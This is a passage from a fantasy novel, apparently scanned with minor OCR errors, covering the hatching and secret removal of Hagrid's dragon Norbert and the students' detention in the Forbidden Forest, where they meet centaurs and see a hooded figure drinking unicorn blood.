back garden - +anyway, you can't tame dragons, it's dangerous. You should see the burns +Charlie's got off wild ones in Romania." + +"But there aren't wild dragons in Britain?" said Harry. + +"Of course there are," said Ron. "Common Welsh Green and Hebridean +Blacks. The Ministry of Magic has a job hushing them up, I can tell you. +Our kind have to keep putting spells on Muggles who've spotted them, to +make them forget." + +"So what on earths Hagrid up to?" said Hermione. + +When they knocked on the door of the gamekeeper's hut an hour later, +they were surprised to see that all the curtains were closed. Hagrid +called "Who is it?" before he let them in, and then shut the door +quickly behind them. + +It was stifling hot inside. Even though it was such a warm day, there +was a blazing fire in the grate. Hagrid made them tea and offered them +stoat sandwiches, which they refused. + +"So -- yeh wanted to ask me somethin'?" + +"Yes," said Harry. There was no point beating around the bush. "We were +wondering if you could tell us what's guarding the Sorcerer's Stone +apart from Fluffy." + +Hagrid frowned at him. + +"0' course I cant, he said. "Number one, I don' know meself. Number two, +yeh know too much already, so I wouldn' tell yeh if I could. That +Stone's here fer a good reason. It Was almost stolen outta Gringotts - I +s'ppose yeh've worked that out an' all? Beats me how yeh even know abou' +Fluffy." + +"Oh, come on, Hagrid, you might not want to tell us, but you do know, +you know everything that goes on round here," said Hermione in a warm, +flattering voice. Hagrid's beard twitched and they could tell he was +smiling. "We only wondered who had done the guarding, really." Hermione +went on. "We wondered who Dumbledore had trusted enough to help him, +apart from you." + +Hagrid's chest swelled at these last words. Harry and Ron beamed at +Hermione. + +"Well, I don' s'pose it could hurt ter tell yeh that... let's see... he +borrowed Fluffy from me... then some o' the teachers did enchantments... +Professor Sprout -- Professor Flitwick -- Professor McGonagall --" he +ticked them off on his fingers, "Professor Quirrell -- an' Dumbledore +himself did somethin', o' course. Hang on, I've forgotten someone. Oh +yeah, Professor Snape." + +"Snape?" + +"Yeah -- yer not still on abou' that, are yeh? Look, Snape helped +protect the Stone, he's not about ter steal it." + +Harry knew Ron and Hermione were thinking the same as he was. If Snape +had been in on protecting the Stone, it must have been easy to find out +how the other teachers had guarded it. He probably knew everything -- +except, it seemed, Quirrell's spell and how to get past Fluffy. + +"You're the only one who knows how to get past Fluffy. aren't you, +Hagrid?" said Harry anxiously. "And you wouldn't tell anyone, would you? +Not even one of the teachers?" + +"Not a soul knows except me an' Dumbledore," said Hagrid proudly. + +"Well, that's something," Harry muttered to the others. "Hagrid, can we +have a window open? I'm boiling." + +"Can't, Harry, sorry," said Hagrid. Harry noticed him glance at the +fire. Harry looked at it, too. + +"Hagrid -- what's that?" + +But he already knew what it was. In the very heart of the fire, +underneath the kettle, was a huge, black egg. + +"Ah," said Hagrid, fiddling nervously with his beard, "That's er..." + +"Where did you get it, Hagrid?" said Ron, crouching over the fire to get +a closer look at the egg. "It must've cost you a fortune." + +"Won it," said Hagrid. "Las' night. I was down in the village havin' a +few drinks an' got into a game o' cards with a stranger. Think he was +quite glad ter get rid of it, ter be honest." + +"But what are you going to do with it when it's hatched?" said Hermione. + +"Well, I've bin doin' some readin' , said Hagrid, pulling a large book +from under his pillow. "Got this outta the library -- Dragon Breeding +for Pleasure and Profit -- it's a bit outta date, o' course, but it's +all in here. Keep the egg in the fire, 'cause their mothers breathe on I +em, see, an' when it hatches, feed it on a bucket o' brandy mixed with +chicken blood every half hour. An' see here -- how ter recognize +diff'rent eggs -- what I got there's a Norwegian Ridgeback. They're +rare, them." + +He looked very pleased with himself, but Hermione didn't. + +"Hagrid, you live in a wooden house," she said. + +But Hagrid wasn't listening. He was humming merrily as he stoked the +fire. + +So now they had something else to worry about: what might happen to +Hagrid if anyone found out he was hiding an illegal dragon in his hut. +"Wonder what it's like to have a peaceful life," Ron sighed, as evening +after evening they struggled through all the extra homework they were +getting. Hermione had now started making study schedules for Harry and +Ron, too. It was driving them nuts. + +Then, one breakfast time, Hedwig brought Harry another note from Hagrid. +He had written only two words: It's hatching. + +Ron wanted to skip Herbology and go straight down to the hut. Hermione +wouldn't hear of it. + +"Hermione, how many times in our lives are we going to see a dragon +hatching?" + +"We've got lessons, we'll get into trouble, and that's nothing to what +Hagrid's going to be in when someone finds out what he's doing --" + +"Shut up!" Harry whispered. + +Malfoy was only a few feet away and he had stopped dead to listen. How +much had he heard? Harry didn't like the look on Malfoy's face at all. + +Ron and Hermione argued all the way to Herbology and in the end, +Hermione agreed to run down to Hagrid's with the other two during +morning break. When the bell sounded from the castle at the end of their +lesson, the three of them dropped their trowels at once and hurried +through the grounds to the edge of the forest. Hagrid greeted them, +looking flushed and excited. + +"It's nearly out." He ushered them inside. + +The egg was lying on the table. There were deep cracks in it. Something +was moving inside; a funny clicking noise was coming from it. + +They all drew their chairs up to the table and watched with bated +breath. + +All at once there was a scraping noise and the egg split open. The baby +dragon flopped onto the table. It wasn't exactly pretty; Harry thought +it looked like a crumpled, black umbrella. Its spiny wings were huge +compared to its skinny jet body, it had a long snout with wide nostrils, +the stubs of horns and bulging, orange eyes. + +It sneezed. A couple of sparks flew out of its snout. + +"Isn't he beautiful?" Hagrid murmured. He reached out a hand to stroke +the dragon's head. It snapped at his fingers, showing pointed fangs. + +"Bless him, look, he knows his mommy!" said Hagrid. + +"Hagrid," said Hermione, "how fast do Norwegian Ridgebacks grow, +exactly?" + +Hagrid was about to answer when the color suddenly drained from his face +-- he leapt to his feet and ran to the window. + +"What's the matter?" + +"Someone was lookin' through the gap in the curtains -- it's a kid -- +he's runnin' back up ter the school." + +Harry bolted to the door and looked out. Even at a distance there was no +mistaking him. + +Malfoy had seen the dragon. + +Something about the smile lurking on Malfoy's face during the next week +made Harry, Ron, and Hermione very nervous. They spent most of their +free time in Hagrid's darkened hut, trying to reason with him. + +"Just let him go," Harry urged. "Set him free." + +"I can't," said Hagrid. "He's too little. He'd die." + +They looked at the dragon. It had grown three times in length in just a +week. Smoke kept furling out of its nostrils. Hagrid hadn't been doing +his gamekeeping duties because the dragon was keeping him so busy. There +were empty brandy bottles and chicken feathers all over the floor. + +"I've decided to call him Norbert," said Hagrid, looking at the dragon +with misty eyes. "He really knows me now, watch. Norbert! Norbert! +Where's Mommy?" + +"He's lost his marbles," Ron muttered in Harry's ear. + +"Hagrid," said Harry loudly, "give it two weeks and Norbert's going to +be as long as your house. Malfoy could go to Dumbledore at any moment." + +Hagrid bit his lip. + +"I -- I know I can't keep him forever, but I can't jus' dump him, I +can't." + +Harry suddenly turned to Ron. Charlie, he said. + +"You're losing it, too," said Ron. "I'm Ron, remember?" + +"No -- Charlie -- your brother, Charlie. In Romania. Studying dragons. +We could send Norbert to him. Charlie can take care of him and then put +him back in the wild!" + +"Brilliant!" said Ron. "How about it, Hagrid?" + +And in the end, Hagrid agreed that they could send -an owl to Charlie to +ask him. + +The following week dragged by. Wednesday night found Hermione and Harry +sitting alone in the common room, long after everyone else had gone to +bed. The clock on the wall had just + +chimed midnight when the portrait hole burst open. Ron appeared out of +nowhere as he pulled off Harry's invisibility cloak. He had been down at +Hagrid's hut, helping him feed Norbert, who was now eating dead rats by +the crate. + +"It bit me!" he said, showing them his hand, which was wrapped in a +bloody handkerchief. "I'm not going to be able to hold a quill for a +week. I tell you, that dragon's the most horrible animal I've ever met, +but the way Hagrid goes on about it, you'd think it was a fluffy little +bunny rabbit. When it bit me he told me off for frightening it. And when +I left, he was singing it a lullaby." + +There was a tap on the dark window. + +"It's Hedwig!" said Harry, hurrying to let her in. "She'll have +Charlie's answer!" + +The three of them put their heads together to read the note. + +Dear Ron, + +How are you? Thanks for the letter -- I'd be glad to take the Norwegian +Ridgeback, but it won't be easy getting him here. I think the best thing +will be to send him over with some friends of mine who are coming to +visit me next week. Trouble is, they mustn't be seen carrying an illegal +dragon. + +Could you get the Ridgeback up the tallest tower at midnight on +Saturday? They can meet you there and take him away while it's still +dark. + +Send me an answer as soon as possible. + +Love, + +Charlie + +They looked at one another. + +"We've got the invisibility cloak," said Harry. "It shouldn't be too +difficult -- I think the cloaks big enough to cover two of us and +Norbert." + +It was a mark of how bad the last week had been that the other two +agreed with him. Anything to get rid of Norbert -- and Malfoy. + +There was a hitch. By the next morning, Ron's bitten hand had swollen to +twice its usual size. He didn't know whether it was safe to go to Madam +Pomfrey -- would she recognize a dragon bite? By the afternoon, though, +he had no choice. The cut had turned a nasty shade of green. It looked +as if Norbert's fangs were poisonous. + +Harry and Hermione rushed up to the hospital wing at the end of the day +to find Ron in a terrible state in bed. + +"It's not just my hand," he whispered, "although that feels like it's +about to fall off. Malfoy told Madam Pomfrey he wanted to borrow one of +my books so he could come and have a good laugh at me. He kept +threatening to tell her what really bit me -- I've told her it was a +dog, but I don't think she believes me -I shouldn't have hit him at the +Quidditch match, that's why he's doing this." + +Harry and Hermione tried to calm Ron down. + +"It'll all be over at midnight on Saturday," said Hermione, but this +didn't soothe Ron at all. On the contrary, he sat bolt upright and broke +into a sweat. + +"Midnight on Saturday!" he said in a hoarse voice. "Oh no oh no -- I've +just remembered -- Charlie's letter was in that book Malfoy took, he's +going to know we're getting rid of Norbert." + +Harry and Hermione didn't get a chance to answer. Madam Pomfrey came +over at that moment and made them leave, saying Ron needed sleep. + +"It's too late to change the plan now," Harry told Hermione. "We haven't +got time to send Charlie another owl, and this could be our only chance +to get rid of Norbert. We'll have to risk it. And we have got the +invisibility cloak, Malfoy doesn't know about that." + +They found Fang, the boarhound, sitting outside with a bandaged tail +when they went to tell Hagrid, who opened a window to talk to them. + +"I won't let you in," he puffed. "Norbert's at a tricky stage -- nothin' +I can't handle." + +When they told him about Charlie's letter, his eyes filled with tears, +although that might have been because Norbert had just bitten him on the +leg. + +"Aargh! It's all right, he only got my boot -- jus' playin' -- he's only +a baby, after all." + +The baby banged its tail on the wall, making the windows rattle. Harry +and Hermione walked back to the castle feeling Saturday couldn't come +quickly enough. + +They would have felt sorry for Hagrid when the time came for him to say +good-bye to Norbert if they hadn't been so worried about what they had +to do. It was a very dark, cloudy night, and they were a bit late +arriving at Hagrid's hut because they'd had to wait for Peeves to get +out of their way in the entrance hall, where he'd been playing tennis +against the wall. Hagrid had Norbert packed and ready in a large crate. + +"He's got lots o' rats an' some brandy fer the journey," said Hagrid in +a muffled voice. "An' I've packed his teddy bear in case he gets +lonely." + +From inside the crate came ripping noises that sounded to Harry as +though the teddy was having his head torn off. + +"Bye-bye, Norbert!" Hagrid sobbed, as Harry and Hermione covered the +crate with the invisibility cloak and stepped underneath it themselves. +"Mommy will never forget you!" + +How they managed to get the crate back up to the castle, they never +knew. Midnight ticked nearer as they heaved Norbert up the marble +staircase in the entrance hall and along the dark corridors. UP another +staircase, then another -- even one of Harry's shortcuts didn't make the +work much easier. + +"Nearly there!" Harry panted as they reached the corridor beneath the +tallest tower. + +Then a sudden movement ahead of them made them almost drop the crate. +Forgetting that they were already invisible, they shrank into the +shadows, staring at the dark outlines of two people grappling with each +other ten feet away. A lamp flared. + +Professor McGonagall, in a tartan bathrobe and a hair net, had Malfoy by +the ear. + +"Detention!" she shouted. "And twenty points from Slytherin! Wandering +around in the middle of the night, how dare you --" + +"You don't understand, Professor. Harry Potter's coming -- he's got a +dragon!" + +"What utter rubbish! How dare you tell such lies! Come on -- I shall see +Professor Snape about you, Malfoy!" + +The steep spiral staircase up to the top of the tower seemed the easiest +thing in the world after that. Not until they'd stepped out into the +cold night air did they throw off the cloak, glad to be able to breathe +properly again. Hermione did a sort of jig. + +"Malfoy's got detention! I could sing!" + +"Don't," Harry advised her. + +Chuckling about Malfoy, they waited, Norbert thrashing about in his +crate. About ten minutes later, four broomsticks came swooping down out +of the darkness. + +Charlie's friends were a cheery lot. They showed Harry and Hermione the +harness they'd rigged up, so they could suspend Norbert between them. +They all helped buckle Norbert safely into it and then Harry and +Hermione shook hands with the others and thanked them very much. + +At last, Norbert was going... going... gone. + +They slipped back down the spiral staircase, their hearts as light as +their hands, now that Norbert was off them. No more dragon -- Malfoy in +detention -- what could spoil their happiness? + +The answer to that was waiting at the foot of the stairs. As they +stepped into the corridor, Filch's face loomed suddenly out of the +darkness. + +"Well, well, well," he whispered, "we are in trouble." + +They'd left the invisibility cloak on top of the tower. + + +CHAPTER FIFTEEN + +THE FORIBIDDEN FOREST + +Things couldn't have been worse. + +Filch took them down to Professor McGonagall's study on the first floor, +where they sat and waited without saying a word to each other. Hermione +was trembling. Excuses, alibis, and wild cover- up stories chased each +other around Harry's brain, each more feeble than the last. He couldn't +see how they were going to get out of trouble this time. They were +cornered. How could they have been so stupid as to forget the cloak? +There was no reason on earth that Professor McGonagall would accept for +their being out of bed and creeping around the school in the dead of +night, let alone being up the tallest astronomy tower, which was +out-of-bounds except for classes. Add Norbert and the invisibility +cloak, and they might as well be packing their bags already. + +Had Harry thought that things couldn't have been worse? He was wrong. +When Professor McGonagall appeared, she was leading Neville. + +"Harry!" Neville burst Out, the moment he saw the other two. "I was +trying to find you to warn you, I heard Malfoy saying he was going to +catch you, he said you had a drag --" + +Harry shook his head violently to shut Neville up, but Professor +McGonagall had seen. She looked more likely to breathe fire than Norbert +as she towered over the three of them. + +"I would never have believed it of any of you. Mr. Filch says you were +up in the astronomy tower. It's one o'clock in the morning. Explain +yourselves." + +It was the first time Hermione had ever failed to answer a teacher's +question. She was staring at her slippers, as still as a statue. + +"I think I've got a good idea of what's been going on," said Professor +McGonagall. "It doesn't take a genius to work it out. You fed Draco +Malfoy some cock-and-bull story about a dragon, trying to get him out of +bed and into trouble. I've already caught him. I suppose you think it's +funny that Longbottom here heard the story and believed it, too?" + +Harry caught Neville's eye and tried to tell him without words that this +wasn't true, because Neville was looking stunned and hurt. Poor, +blundering Neville -- Harry knew what it must have cost him to try and +find them in the dark, to warn them. + +"I'm disgusted," said Professor McGonagall. "Four students out of bed in +one night! I've never heard of such a thing before! You, Miss Granger, I +thought you had more sense. As for you, Mr. Potter, I thought Gryffindor +meant more to you than this. All three of you will receive detentions -- +yes, you too, Mr. Longbottom, nothing gives you the right to walk around +school at night, especially these days, it's very dangerous -- and fifty +points will be taken from Gryffindor." + +"Fifty?" Harry gasped -- they would lose the lead, the lead he'd won in +the last Quidditch match. + +"Fifty points each," said Professor McGonagall, breathing heavily +through her long, pointed nose. + +"Professor -- please + +"You can't --" + +"Don't tell me what I can and can't do, Potter. Now get back to bed, all +of you. I've never been more ashamed of Gryffindor students." + +A hundred and fifty points lost. That put Gryffindor in last place. In +one night, they'd ruined any chance Gryffindor had had for the house +cup. Harry felt as though the bottom had dropped out of his stomach. How +could they ever make up for this? + +Harry didn't sleep all night. He could hear Neville sobbing into his +pillow for what seemed like hours. Harry couldn't think of anything to +say to comfort him. He knew Neville, like himself, was dreading the +dawn. What would happen when the rest of Gryffindor found out what +they'd done? + +At first, Gryffindors passing the giant hourglasses that recorded the +house points the next day thought there'd been a mistake. How could they +suddenly have a hundred and fifty points fewer than yesterday? And then +the story started to spread: Harry Potter, the famous Harry Potter, +their hero of two Quidditch matches, had lo st them all those points, +him and a couple of other stupid first years. + +From being one of the most popular and admired people at the school, +Harry was suddenly the most hated. Even Ravenclaws and Hufflepuffs +turned on him, because everyone had been longing to see Slytherin lose +the house cup. Everywhere Harry went, people pointed and didn't trouble +to lower their voices as they insulted him. Slytherins, on the other +hand, clapped as he walked past them, whistling and cheering, "Thanks +Potter, we owe you one!" + +Only Ron stood by him. + +"They'll all forget this in a few weeks. Fred and George have lost loads +of points in all the time they've been here, and people still like +them." + +"They've never lost a hundred and fifty points in one go, though, have +they?" said Harry miserably. + +"Well -- no," Ron admitted. + +It was a bit late to repair the damage, but Harry swore to himself not +to meddle in things that weren't his business from now on. He'd had it +with sneaking around and spying. He felt so ashamed of himself that he +went to Wood and offered to resign from the Quidditch team. + +"Resign?" Wood thundered. "What good'll that do? How are we going to get +any points back if we can't win at Quidditch?" + +But even Quidditch had lost its fun. The rest of the team wouldn't speak +to Harry during practice, and if they had to speak about him, they +called him "the Seeker." + +Hermione and Neville were suffering, too. They didn't have as bad a time +as Harry, because they weren't as well-known, but nobody would speak to +them, either. Hermione had stopped drawing attention to herself in +class, keeping her head down and working in silence. + +Harry was almost glad that the exams weren't far away. All the studying +he had to do kept his mind off his misery. He, Ron, and Hermione kept to +themselves, working late into the night, trying to remember the +ingredients in complicated potions, learn charms and spells by heart, +memorize the dates of magical discoveries and goblin rebellions.... + +Then, about a week before the exams were due to start, Harry's new +resolution not to interfere in anything that didn't concern him was put +to an unexpected test. Walking back from the library on his own one +afternoon, he heard somebody whimpering from a classroom up ahead. As he +drew closer, he heard Quirrell's voice. + +"No -- no -- not again, please --" + +It sounded as though someone was threatening him. Harry moved closer. + +"All right -- all right --" he heard Quirrell sob. + +Next second, Quirrell came hurrying out of the classroom straightening +his turban. He was pale and looked as though he was about to cry. He +strode out of sight; Harry didn't think Quirrell had even noticed him. +He waited until Quirrell's footsteps had disappeared, then peered into +the classroom. It was empty, but a door stood ajar at the other end. +Harry was halfway toward it before he remembered what he'd promised +himself about not meddling. + +All the same, he'd have gambled twelve Sorcerer's Stones that Snape had +just left the room, and from what Harry had just heard, Snape would be +walking with a new spring in his step -- Quirrell seemed to have given +in at last. + +Harry went back to the library, where Hermione was testing Ron on +Astronomy. Harry told them what he'd heard. + +"Snape's done it, then!" said Ron. "If Quirrell's told him how to break +his Anti-Dark Force spell --" + +"There's still Fluffy, though," said Hermione. + +"Maybe Snape's found out how to get past him without asking Hagrid," +said Ron, looking up at the thousands of books surrounding them. "I bet +there's a book somewhere in here telling you how to get past a giant +three-headed dog. So what do we do, Harry?" + +The light of adventure was kindling again in Ron's eyes, but Hermione +answered before Harry could. + +"Go to Dumbledore. That's what we should have done ages ago. If we try +anything ourselves we'll be thrown out for sure." + +"But we've got no proof!" said Harry. "Quirrell's too scared to back us +up. Snape's only got to say he doesn't know how the troll got in at +Halloween and that he was nowhere near the third floor -- who do you +think they'll believe, him or us? It's not exactly a secret we hate him, +Dumbledore'll think we made it up to get him sacked. Filch wouldn't help +us if his life depended on it, he's too friendly with Snape, and the +more students get thrown out, the better, he'll think. And don't forget, +we're not supposed to know about the Stone or Fluffy. That'll take a lot +of explaining." + +Hermione looked convinced, but Ron didn't. + +"If we just do a bit of poking around --" + +"No," said Harry flatly, "we've done enough poking around." + +He pulled a map of Jupiter toward him and started to learn the names of +its moons. + +The following morning, notes were delivered to Harry, Hermione, and +Neville at the breakfast table. They were all the same: + +Your detention will take place at eleven o'clock tonight. Meet Mr. Filch +in the entrance hall. + +Professor McGonagall Harry had forgotten they still had detentions to do +in the furor over the points they'd lost. He half expected Hermione to +complain that this was a whole night of studying lost, but she didn't +say a word. Like Harry, she felt they deserved what they'd got. + +At eleven o'clock that night, they said good-bye to Ron in the common +room and went down to the entrance hall with Neville. Filch was already +there -- and so was Malfoy. Harry had also forgotten that Malfoy had +gotten a detention, too. + +"Follow me," said Filch, lighting a lamp and leading them outside. + +I bet you'll think twice about breaking a school rule again, won't you, +eh?" he said, leering at them. "Oh yes... hard work and pain are the +best teachers if you ask me.... It's just a pity they let the old +punishments die out... hang you by your wrists from the ceiling for a +few days, I've got the chains still in my office, keep 'em well oiled in +case they're ever needed.... Right, off we go, and don't think of +running off, now, it'll be worse for you if you do." + +They marched off across the dark grounds. Neville kept sniffing. Harry +wondered what their punishment was going to be. It must be something +really horrible, or Filch wouldn't be sounding so delighted. + +The moon was bright, but clouds scudding across it kept throwing them +into darkness. Ahead, Harry could see the lighted windows of Hagrid's +hut. Then they heard a distant shout. + +"Is that you, Filch? Hurry up, I want ter get started." + +Harry's heart rose; if they were going to be working with Hagrid it +wouldn't be so bad. His relief must have showed in his -face, because +Filch said, "I suppose you think you'll be enjoying yourself with that +oaf? Well, think again, boy -- it's into the forest you're going and I'm +much mistaken if you'll all come out in one piece." + +At this, Neville let out a little moan, and Malfoy stopped dead in his +tracks. + +"The forest?" he repeated, and he didn't sound quite as cool as usual. +"We can't go in there at night -- there's all sorts of things in there +-- werewolves, I heard." + +Neville clutched the sleeve of Harry's robe and made a choking noise. + +"That's your problem, isn't it?" said Filch, his voice cracking with +glee. "Should've thought of them werewolves before you got in trouble, +shouldn't you?" + +Hagrid came striding toward them out of the dark, Fang at his heel. He +was carrying his large crossbow, and a quiver of arrows hung over his +shoulder. + +"Abou' time," he said. "I bin waitin' fer half an hour already. All +right, Harry, Hermione?" + +"I shouldn't be too friendly to them, Hagrid," said Filch coldly, +they're here to be punished, after all." + +"That's why yer late, is it?" said Hagrid, frowning at Filch. "Bin +lecturin' them, eh? 'Snot your place ter do that. Yeh've done yer bit, +I'll take over from here." + +"I'll be back at dawn," said Filch, "for what's left of them," he added +nastily, and he turned and started back toward the castle, his lamp +bobbing away in the darkness. + +Malfoy now turned to Hagrid. + +"I'm not going in that forest, he said, and Harry was pleased to hear +the note of panic in his voice. + +"Yeh are if yeh want ter stay at Hogwarts," said Hagrid fiercely. +"Yeh've done wrong an' now yehve got ter pay fer it." + +"But this is servant stuff, it's not for students to do. I thought we'd +be copying lines or something, if my father knew I was doing this, he'd + +tell yer that's how it is at Hogwarts," Hagrid growled. "Copyin' lines! +What good's that ter anyone? Yeh'll do summat useful or Yeh'll get out. +If yeh think yer father'd rather you were expelled, then get back off +ter the castle an' pack. Go on"' + +Malfoy didn't move. He looked at Hagrid furiously, but then dropped his +gaze. + +"Right then," said Hagrid, "now, listen carefully, 'cause it's dangerous +what we're gonna do tonight, an' I don' want no one takin' risks. Follow +me over here a moment." + +He led them to the very edge of the forest. Holding his lamp up high, he +pointed down a narrow, winding earth track that disappeared into the +thick black trees. A light breeze lifted their hair as they looked into +the forest. + +"Look there," said Hagrid, "see that stuff shinin' on the ground? +Silvery stuff? That's unicorn blood. There's a unicorn in there bin hurt +badly by summat. This is the second time in a week. I found one dead +last Wednesday. We're gonna try an' find the poor thing. We might have +ter put it out of its misery." + +"And what if whatever hurt the unicorn finds us first?" said Malfoy, +unable to keep the fear out of his voice. + +"There's nothin' that lives in the forest that'll hurt yeh if yer with +me or Fang," said Hagrid. "An' keep ter the path. Right, now, we're +gonna split inter two parties an' follow the trail in diff'rent +directions. There's blood all over the place, it must've bin staggerin' +around since last night at least." + +"I want Fang," said Malfoy quickly, looking at Fang's long teeth. + +"All right, but I warn yeh, he's a coward," said Hagrid. " So me, Harry, +an' Hermione'll go one way an' Draco, Neville, an' Fang'll go the other. +Now, if any of us finds the unicorn, we'll send up green sparks, right? +Get yer wands out an' practice now -- that's it -- an' if anyone gets in +trouble, send up red sparks, an' we'll all come an' find yeh -- so, be +careful -- let's go." + +The forest was black and silent. A little way into it they reached a +fork in the earth path, and Harry, Hermione, and Hagrid took the left +path while Malfoy, Neville, and Fang took the right. + +They walked in silence, their eyes on the ground. Every now and then a +ray of moonlight through the branches above lit a spot of silver-blue +blood on the fallen leaves. + +Harry saw that Hagrid looked very worried. + +"Could a werewolf be killing the unicorns?" Harry asked. + +"Not fast enough," said Hagrid. "It's not easy ter catch a unicorn, +they're powerful magic creatures. I never knew one ter be hurt before." + +They walked past a mossy tree stump. Harry could hear running water; +there must be a stream somewhere close by. There were still spots of +unicorn blood here and there along the winding path. + +"You all right, Hermione?" Hagrid whispered. "Don' worry, it can't've +gone far if it's this badly hurt, an' then we'll be able ter -- GET +BEHIND THAT TREE!" + +Hagrid seized Harry and Hermione and hoisted them off the path behind a +towering oak. He pulled out an arrow and fitted it into his crossbow, +raising it, ready to fire. The three of them listened. Something was +slithering over dead leaves nearby: it sounded like a cloak trailing +along the ground. Hagrid was squinting up the dark path, but after a few +seconds, the sound faded away. + +"I knew it, " he murmured. "There's summat in here that shouldn' be." + +"A werewolf?" Harry suggested. + +"That wasn' no werewolf an' it wasn' no unicorn, neither," said Hagrid +grimly. "Right, follow me, but careful, now." + +They walked more slowly, ears straining for the faintest sound. +Suddenly, in a clearing ahead, something definitely moved. + +"Who's there?" Hagrid called. "Show yerself -- I'm armed!" + +And into the clearing came -- was it a man, or a horse? To the waist, a +man, with red hair and beard, but below that was a horse's gleaming +chestnut body with a long, reddish tail. Harry and Hermione's jaws +dropped. + +"Oh, it's you, Ronan," said Hagrid in relief. "How are yeh?" + +He walked forward and shook the centaur's hand. + +"Good evening to you, Hagrid," said Ronan. He had a deep, sorrowful +voice. "Were you going to shoot me?" + +"Can't be too careful, Ronan," said Hagrid, patting his crossbow. +"There's summat bad loose in this forest. This is Harry Potter an' +Hermione Granger, by the way. Students up at the school. An' this is +Ronan, you two. He's a centaur.)) + +"We'd noticed," said Hermione faintly. + +"Good evening," said Ronan. "Students, are you? And do you learn much, +up at the school?" + +"Erm --" + +"A bit," said Hermione timidly. + +"A bit. Well, that's something." Ronan sighed. He flung back his head +and stared at the sky. "Mars is bright tonight." + +"Yeah," said Hagrid, glancing up, too. "Listen, I'm glad we've run inter +yeh, Ronan, 'cause there's a unicorn bin hurt -- you seen anythin'?" + +Ronan didn't answer immediately. He stared unblinkingly upward, then +sighed again. + +"Always the innocent are the first victims," he said. "So it has been +for ages past, so it is now." + +"Yeah," said Hagrid, "but have yeh seen anythin', Ronan? Anythin' +unusual?" + +"Mars is bright tonight," Ronan repeated, while Hagrid watched him +impatiently. "Unusually bright." + +"Yeah, but I was meanin' anythin' unusual a bit nearer home, said +Hagrid. "So yeh haven't noticed anythin' strange?" + +Yet again, Ronan took a while to answer. At last, he said, "The forest +hides many secrets." + +A movement in the trees behind Ronan made Hagrid raise his bow again, +but it was only a second centaur, black-haired and -bodied and +wilder-looking than Ronan. + +"Hullo, Bane," said Hagrid. "All right?" + +"Good evening, Hagrid, I hope you are well?" + +"Well enough. Look, I've jus' bin askin' Ronan, you seen anythin' odd in +here lately? There's a unicorn bin injured -- would yeh know anythin' +about it?" + +Bane walked over to stand next to Ronan. He looked skyward. "Mars is +bright tonight," he said simply. + +"We've heard," said Hagrid grumpily. "Well, if either of you do see +anythin', let me know, won't yeh? We'll be off, then." + +Harry and Hermione followed him out of the clearing, staring over their +shoulders at Ronan and Bane until the trees blocked their view. + +"Never," said Hagrid irritably, "try an' get a straight answer out of a +centaur. Ruddy stargazers. Not interested in anythin' closer'n the +moon." + +"Are there many of them in here?" asked Hermione. + +"Oh, a fair few... Keep themselves to themselves mostly, but they're +good enough about turnin' up if ever I want a word. They're deep, mind, +centaurs... they know things... jus' don' let on much." + +"D'you think that was a centaur we heard earlier?" said Harry. + +"Did that sound like hooves to you? Nah, if yeh ask me, that was what's +bin killin' the unicorns -- never heard anythin' like it before." + +They walked on through the dense, dark trees. Harry kept looking +nervously over his shoulder. He had the nasty feeling they were being +watched. He was very glad they had Hagrid and his crossbow with them. +They had just passed a bend in the path when Hermione grabbed Hagrid's +arm. + +"Hagrid! Look! Red sparks, the others are in trouble!" + +"You two wait here!" Hagrid shouted. "Stay on the path, I'll come back +for yeh!" + +They heard him crashing away through the undergrowth and stood looking +at each other, very scared, until they couldn't hear anything but the +rustling of leaves around them. + +"You don't think they've been hurt, do you?" whispered Hermione. + +"I don't care if Malfoy has, but if something's got Neville... it's our +fault he's here in the first place." + +The minutes dragged by. Their ears seemed sharper than usual. Harry's +seemed to be picking up every sigh of the wind, every cracking twig. +What was going on? Where were the others? + +At last, a great crunching noise announced Hagrid's return. Malfoy, +Neville, and Fang were with him. Hagrid was fuming. Malfoy, it seemed, +had sneaked up behind Neville and grabbed him as a joke. Neville had +panicked and sent up the sparks. + +"We'll be lucky ter catch anythin' now, with the racket you two were +makin'. Right, we're changin' groups -- Neville, you stay with me an' +Hermione, Harry, you go with Fang an' this idiot. I'm sorry," Hagrid +added in a whisper to Harry, "but he'll have a harder time frightenin' +you, an' we've gotta get this done." + +So Harry set off into the heart of the forest with Malfoy and Fang. They +walked for nearly half an hour, deeper and deeper into the forest, until +the path became almost impossible to follow because the trees were so +thick. Harry thought the blood seemed to be getting thicker. There were +splashes on the roots of a tree, as though the poor creature had been +thrashing around in pain close by. Harry could see a clearing ahead, +through the tangled branches of an ancient oak. + +"Look --" he murmured, holding out his arm to stop Malfoy. + +Something bright white was gleaming on the ground. They inched closer. + +It was the unicorn all right, and it was dead. Harry had never seen +anything so beautiful and sad. Its long, slender legs were stuck out at +odd angles where it had fallen and its mane was spread pearly-white on +the dark leaves. + +Harry had taken one step toward it when a slithering sound made him +freeze where he stood. A bush on the edge of the clearing quivered.... +Then, out of the shadows, a hooded figure came crawling across the +ground like some stalking beast. Harry, Malfoy, and Fang stood +transfixed. The cloaked figure reached the unicorn, lowered its head +over the wound in the animal's side, and began to drink its blood. + +"AAAAAAAAAARGH!" + +Malfoy let out a terrible scream and bolted -- so did Fang. The hooded +figure raised its head and looked right at Harry -- unicorn blood was +dribbling down its front. It got to its feet and came swiftly toward +Harry -- he couldn't move for fear. + +Then a pain like he'd never felt before pierced his head; it was as +though his scar were on fire. Half blinded, he staggered backward. He +heard hooves behind him, galloping, and something jumped clean over +Harry, charging at the figure. + +The pain in Harry's head was so bad he fell to his knees. It took a +minute or two to pass. When he looked up, the figure had gone. A centaur +was standing over him, not Ronan or Bane; this one looked younger; he +had white-blond hair and a palomino body. + +"Are you all right?" said the centaur, pulling Harry to his feet. + +"Yes -- thank you -- what was that?" + +The centaur didn't answer. He had astonishingly blue eyes, like pale +sapphires. He looked carefully at Harry, his eyes lingering on the scar +that stood out, livid, on Harry's forehead. + +"You are the Potter boy," he said. "You had better get back to Hagrid. +The forest is not safe at this time -- especially for you. Can you ride? +It will be quicker this way. + +"My name is Firenze," he added, as he lowered himself on to his front +legs so that Harry could clamber onto his back. + +There was suddenly a sound of more galloping from the other side of the +clearing. Ronan and Bane came bursting through the trees, their flanks +heaving and sweaty. + +"Firenze!" Bane thundered. "What are you doing? You have a human on your +back! Have you no shame? Are you a common mule?" + +"Do you realize who this is?" said Firenze. "This is the Potter boy. The +quicker he leaves this forest, the better." + +"What have you been telling him?" growled Bane. "Remember, Firenze, we +are sworn not to set ourselves against the heavens. Have we not read +what is to come in the movements of the planets?" + +Ronan pawed the ground nervously. 